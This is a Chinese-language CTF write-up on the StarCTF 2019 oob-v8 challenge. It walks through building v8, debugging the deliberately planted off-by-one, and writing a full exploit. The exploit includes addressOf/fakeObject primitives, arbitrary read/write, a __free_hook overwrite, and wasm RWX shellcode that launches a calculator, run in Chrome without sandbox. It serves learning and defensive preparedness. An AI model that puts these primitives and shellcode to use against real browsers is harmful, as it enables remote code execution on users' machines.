银雁冰 @猎影实验室
前言
从2019年开始,与Chrome相关的在野0day披露开始增多,仅笔者所知的有如下几个:
CVE编号 发现厂商
CVE-2019-5786 Google
CVE-2019-13720 Kaspersky
CVE-2020-6418 Google
作为对比,2014-2018年被厂商披露的Chrome在野0day数量为0,上述数据表明接下来会有更多的Chrome在野0day出现。
站在防守方的角度,一旦预感到某种类型的漏洞接下来会出现,就应该提前对相关领域进行研究,以降低未来应急响应的门槛。基于此,笔者决定挑一个例子上手Chrome下的漏洞调试。
那么,选择哪个漏洞比较好呢?一番对比后,笔者选了2019年StarCTF的一道v8 off-by-one的题,这个例子满足如下条件:
$ nc 212.64.104.189 10000
the v8 commits is 6dc88c191f5ecc5389dc26efa3ca0907faef3598.
构建完上述环境后,切换到相应分支,再次执行gclient sync同步代码,打上diff文件,随后就可以编译本题所需v8引擎了:
fetch v8
cd v8
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync -D
git apply < /home/test/Desktop/oob.diff
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
以上命令编译得到一个debug版本的v8,编译得到的可执行文件为d8,运行d8时,--allow-natives-syntax 选项定义了一些v8运行时支持函数,以便于本地调试,配合--allow-natives-syntax 选项,我们可以在js源码中增加若干调用以辅助调试,比较有用的两个调用是:
%DebugPrint(obj) // 输出对象地址
%SystemBreak() // 触发调试中断,结合调试器使用
编译选项
本案例中的漏洞可以在debug或release版本下复现,但Writeup给出的利用只能在release版本执行。为了既能调试整个利用过程,又能使用gdb-v8-support.py插件的job等命令,笔者选择编译一个添加了编译选项的release版本,具体地,在编译release版本前,在out.gn/x64.release/args.gn文件中增加以下编译选项:
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
编译完成后,即可用调试器启动release版本的d8,基本调试操作如下:
cd /home/test/v8/out.gn/x64.release
gdb ./d8 // 安装pwndbg之后,启动gdb时会自动启动pwndbg
set args --allow-natives-syntax /home/test/Desktop/test/poc.js
r // run
c // continue
漏洞调试
Diff文件分析
这部分请参考《从一道CTF题零基础学V8漏洞利用》这篇文章,里面已经分析得很详细,本文从略。从diff文件中我们可以看到打完补丁的v8源码中存在一个off by one问题,可以在此基础上实现越界读/写,继而实现类型混淆。
PoC构造
知道问题所在后,即可构造PoC,并在调试器中进行验证,这里直接借用《从一道CTF题零基础学V8漏洞利用》这篇文章中给出的PoC,如下:
var a = [1, 2, 3, 1.1];
%DebugPrint(a);
%SystemBreak(); // <- 断点(1)
var data = a.oob(); // 验证越界读
console.log("[*] oob return data:" + data.toString());
%SystemBreak(); // <- 断点(2)
a.oob(2); // 验证越界写
%SystemBreak();
在调试器中看相关结构
将上述代码保存为oob.js文件,用gdb启动之,在断点(1),观察一下数组a的结构:
pwndbg> r
Starting program: /home/test/v8/out.gn/x64.release/d8 --allow-natives-syntax /home/test/Desktop/exp/poc/oob.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7efd78970700 (LWP 33522)]
[New Thread 0x7efd7816f700 (LWP 33523)]
[New Thread 0x7efd7796e700 (LWP 33524)]
[New Thread 0x7efd7716d700 (LWP 33525)]
[New Thread 0x7efd7696c700 (LWP 33526)]
[New Thread 0x7efd7616b700 (LWP 33527)]
[New Thread 0x7efd7596a700 (LWP 33528)]
0x294872acde69 <JSArray[4]>
...
pwndbg> job 0x294872acde69
0x294872acde69: [JSArray]
0: 1
1: 2
2: 3
3: 1.1
}pwndbg> job 0x294872acde39
0x294872acde39: [FixedDoubleArray]
0: 1
1: 2
2: 3
3: 1.1
要注意在v8中打印出的对象地址是实际地址+1,原因在《v8利用入门:从越界访问到RCE》这篇文章中有说到:hex_list_64 = ['3ff0000000000000', '4000000000000000', '4008000000000000', '3ff199999999999a']
for value in hex_list_64:
print(struct.unpack('>d', binascii.unhexlify(value)))
// 转换输出如下
(1.0,)
(2.0,)
(3.0,)
(1.1,)
越界读取
在调试器中输入c,继续运行PoC代码,断下后再次进行观察:
pwndbg> c
Continuing.
[*] oob return data:7.881079421936e-311
7.881079421936e-311是什么呢?如果我们将数组a的map值转化为64位浮点数,可以得到如下输出:
import binascii
import struct
hex_list_64 = ['00000e81fe702ed9']
for value in hex_list_64:
print(struct.unpack('>d', binascii.unhexlify(value)))
// 转换输出如下
(7.881079421936e-311,)
可以看到,PoC中借助漏洞越界读取了elements对象后面的8字节,而这8字节正是数组a的map指针。
越界写入
在调试器中再次输入c,继续运行PoC代码,断下后再次进行观察:
pwndbg> telescope 0x294872acde39-1
00:0000│ 0x294872acde38 —▸ 0x4dff36414f9 ◂— 0x4dff36401
01:0008│ 0x294872acde40 ◂— 0x400000000
02:0010│ 0x294872acde48 ◂— 0x3ff0000000000000
03:0018│ 0x294872acde50 ◂— 0x4000000000000000
04:0020│ 0x294872acde58 ◂— 0x4008000000000000
05:0028│ 0x294872acde60 ◂— 0x3ff199999999999a
06:0030│ 0x294872acde68 ◂— 0x4000000000000000 <- 可以看数组a的map指针被改写了
07:0038│ 0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408
可以看到相邻的数组a的map指针被改写了,改写后的值为数值2对应的64位浮点数表示形式。
通过对上述PoC的调试,可以看到,借助该漏洞可以读写一个数组对象的map指针,由于v8依赖map类型对js对象进行解析(这部分的相关细节网上有详解,此处不再过多展开),所以可以借助该漏洞对一个数组对象的map指针进行改写,从而产生类型混淆。
利用编写
借助上述类型混淆可以将一个浮点数组转变为一个对象数组,反过来也可以,在此基础上可构造任意地址泄露和任意地址写入两个原语。
任意地址泄露
首先构造任意地址泄露原语。这个比较简单,首先定义一个对象数组,将待泄露的对象地址保存到这个对象数组,随后借助漏洞改写对象数组的map指针,使其变为一个浮点数组。随后从“浮点数组”中读取对象指针。
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map);
return obj_addr;
}
需要注意的是,泄露出来的对象指针是64位浮点数形式,先要将其转换为64位整数形式,然后减1。1后面加n是让其变成64位的BigInt,否则运算时会提示类型不一致。
将浮点数转为整数需要定义一个f2i函数,这个函数的基本思路是定义一个ArrayBuffer对象,随后同时用其初始化一个Float64Array数组和一个BigUint64Array数组,通过用两个数组操作同一片内存,实现64位浮点数与64位整数之间的转换,后面的i2f同理:
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
任意对象伪造
任意对象伪造的思路和任意地址泄露的思路一致。先布局一块内存,然后将该内存的首地址传入一个浮点数组,接着利用漏洞将该浮点数组的map改写为对象数组的map,最后将伪造的地址以对象的形式进行读取:
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map);
return faked_obj;
}
任意地址读写
有了任意地址泄露和任意对象伪造两个原语后,理论上就可以实现代码执行了,大部分Writeup中的思路是先借助上述两个原语实现任意地址读写,采用的思路是构造一个fake_array如下:
var fake_array = [
float_array_map, // map
i2f(0n), // prototype
i2f(0x41414141n), // elements
i2f(0x1000000000n), // length
1.1,
2.2,
];
《从一道CTF题零基础学V8漏洞利用》这篇文章里面有提到,如果fakearray在构造时没有最后两个properties,相关结构会在内存中发生变化,本文不对其中细节进行深究,直接采用有6个成员的fakearray。
构造完fake_array后,我们先在内存中看一下其结构:
// fake_array
pwndbg> job 0x1744cd9cf9c9
0x1744cd9cf9c9: [JSArray]
0: 2.08076e-310
1: 0
2: 5.40901e-315
3: 3.39519e-313
4: 1.1
5: 2.2
}// fake_array.elements
pwndbg> job 0x1744cd9cf989
0x1744cd9cf989: [FixedDoubleArray]
0: 2.08076e-310
1: 0
2: 5.40901e-315
3: 3.39519e-313
4: 1.1
5: 2.2
pwndbg> telescope 0x1744cd9cf989-1
00:0000│ 0x1744cd9cf988 —▸ 0x3a07f47c14f9 ◂— 0x3a07f47c01
01:0008│ 0x1744cd9cf990 ◂— 0x600000000
02:0010│ 0x1744cd9cf998 —▸ 0x264dae342ed9 ◂— 0x400003a07f47c01
03:0018│ 0x1744cd9cf9a0 ◂— 0x0
04:0020│ 0x1744cd9cf9a8 ◂— 0x41414141 / 'AAAA' /
05:0028│ 0x1744cd9cf9b0 ◂— 0x1000000000
06:0030│ 0x1744cd9cf9b8 ◂— 0x3ff199999999999a
07:0038│ 0x1744cd9cf9c0 ◂— 0x400199999999999a
// 可以看到fake_array.elements在前,大小为0x40字节,第一个element值相对头部偏移为+0x10
// fake_array紧邻fake_array.elements,其头部相对fake_array.elements头部偏移为+0x40
pwndbg> p/x 0x1744cd9cf9c9-0x1744cd9cf989
$1 = 0x40
Writeup中用来构造任意地址读写原语的思路是这样的:借助任意地址泄露原语计算得到fakearray的第一个元素在内存中的基地址,然后借助任意对象伪造原语将该地址处开始的内存伪造为一个fakedobject,此时数据结构之间的对应关系如下(下图主要参考《从一道CTF题零基础学V8漏洞利用》这篇文章):
从上图可知,得到伪造的对象后,只要修改fakearray[2],就可以控制fakedobject的elements成员,在修改elements后,再对faked_object进行读写,就可以读写elements指针指向处的内存,这样就具备了任意地址读写能力,在此基础上封装两个原语即可:
var fake_array = [
float_array_map, // map
i2f(0n), // prototype
i2f(0x41414141n), // elements
i2f(0x1000000000n), // length
1.1,
2.2,
];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var faked_object = fakeObject(fake_object_addr);
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let read_data = f2i(faked_object[0]);
console.log("[*] read from: 0x" + hex(addr) + " : 0x" + hex(read_data));
return read_data;
}
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
faked_object[0] = i2f(data);
console.log("[*] write to: 0x" + hex(addr) + ": 0x" + hex(data))
}
有了任意地址读写原语后,接下来的操作就比较简单了。笔者在此基础上实践了两种方法:
// 由上面的函数指针定位到got表中的相关项
.got:000000000126D7A0 libc_start_main_ptr dq offset libc_start_main
.got:000000000126D7A0 ; DATA XREF: _start+24↑r
得到d8基址和libc_start_main的offset后,就可以在代码中读取内存中的libcstartmainaddr函数地址,接着通过IDA计算得到libcstartmain相对于libc-2.27.so基地址的偏移,这样我们就可计算得到libc库在内存中的基址。随后在其导出表查找freehook、system这两个函数的偏移,并加上libc在内存中的基址,就可得到free_hook、system两个函数在内存中的地址。
// libc_start_main_ptr in d8
var d8_got_libc_start_main_addr = d8_base_addr + 0x126d7a0n;
var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
console.log("[*] find libc_start_main_addr: 0x" + hex(libc_start_main_addr));
var libc_base_addr = libc_start_main_addr - 0x21AB0n;
var lib_system_addr = libc_base_addr + 0x4F440n;
var libc_free_hook_addr = libc_base_addr + 0x3ED8E8n;
console.log("[] find libc libc_base_addr: 0x" + hex(libc_base_addr));
console.log("[] find libc lib_system_addr: 0x" + hex(lib_system_addr));
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
找到上述信息后,理论上借助任意地址写原语将free_hook的地址修改为system的地址即可,但实践时发现write64这个原语无法正确完成写入,多篇分析文章已就这个问题进行讨论,解决办法是再借助DataView对象封装另一个任意地址写原语:
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function write64_dataview(addr, data)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(data), true);
console.log("[] write(use dataview) to: 0x" + hex(addr) + ": 0x" + hex(data));
}
此时就可以劫持free_hook并实现代码执行了:
write64_dataview(libc_free_hook_addr, lib_system_addr);
console.log("[] Write ok.");
console.log("gnome-calculator");
效果如下:
代码执行:wasm
相比较之前的方法,wasm方法只需要很少的硬编码,也无需借助DataView再构造一个写原语,许多Writeup中已经对该种方法进行详细说明,本文不再过多叙述:
ar wasmCode = new Uint8Array([略]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x08n) - 1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
function copy_shellcode(addr, shellcode)
{
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addressOf(buf);
let backing_store_addr = buf_addr + 0x20n;
write64(backing_store_addr, addr);
for(let i = 0; i < shellcode.length; i++)
{
dataview.setUint32(4*i, shellcode[i], true);
}
}
// https://xz.aliyun.com/t/5003
var shellcode = [
0x90909090,
0x90909090,
0x782fb848,
0x636c6163,
0x48500000,
0x73752fb8,
0x69622f72,
0x8948506e,
0xc03148e7,
0x89485750,
0xd23148e6,
0x3ac0c748,
0x50000030,
0x4944b848,
0x414c5053,
0x48503d59,
0x3148e289,
0x485250c0,
0xc748e289,
0x00003bc0,
0x050f00
];
console.log("[] Copying xcalc shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);
console.log("[] Popping calc");
f();
对上述代码中的shellcode注解如下:
这种方法可以更为简单地实现代码执行,效果如下:
Chrome下的代码执行
题目原材料中给了一个对应的Chrome程序,写一个index.html脚本调用上述rce_wasm.js文件,以--no-sandbox模式启动该Chrome,打开index.html,即可在Chrome中实现代码执行:
写在最后
借助本次实践,笔者初步上手了Linux下v8的漏洞调试,包括源码下载、环境搭建、漏洞成因调试和漏洞利用编写,以及对gdb、pwndbg下相关调试指令的熟悉。近年来各大CTF中与v8有关的题目越来越多,网上的学习资料也开始增多,希望此文对读者上手该领域也有一定帮助。
参考资料
主要参考:
题目资料下载
官方Writeup材料
v8 Base
从一道CTF题零基础学V8漏洞利用
StarCTF 2019 (CTF) oob 初探V8漏洞利用
其他资料:
Chrome v8 exploit - OOBCTF2019 OOB-v8 Writeup
star ctf Chrome oob Writeup
CTF 2019 – Chrome oob-v8
v8利用入门:从越界访问到RCE
Exploiting v8: CTF 2019 oob-v8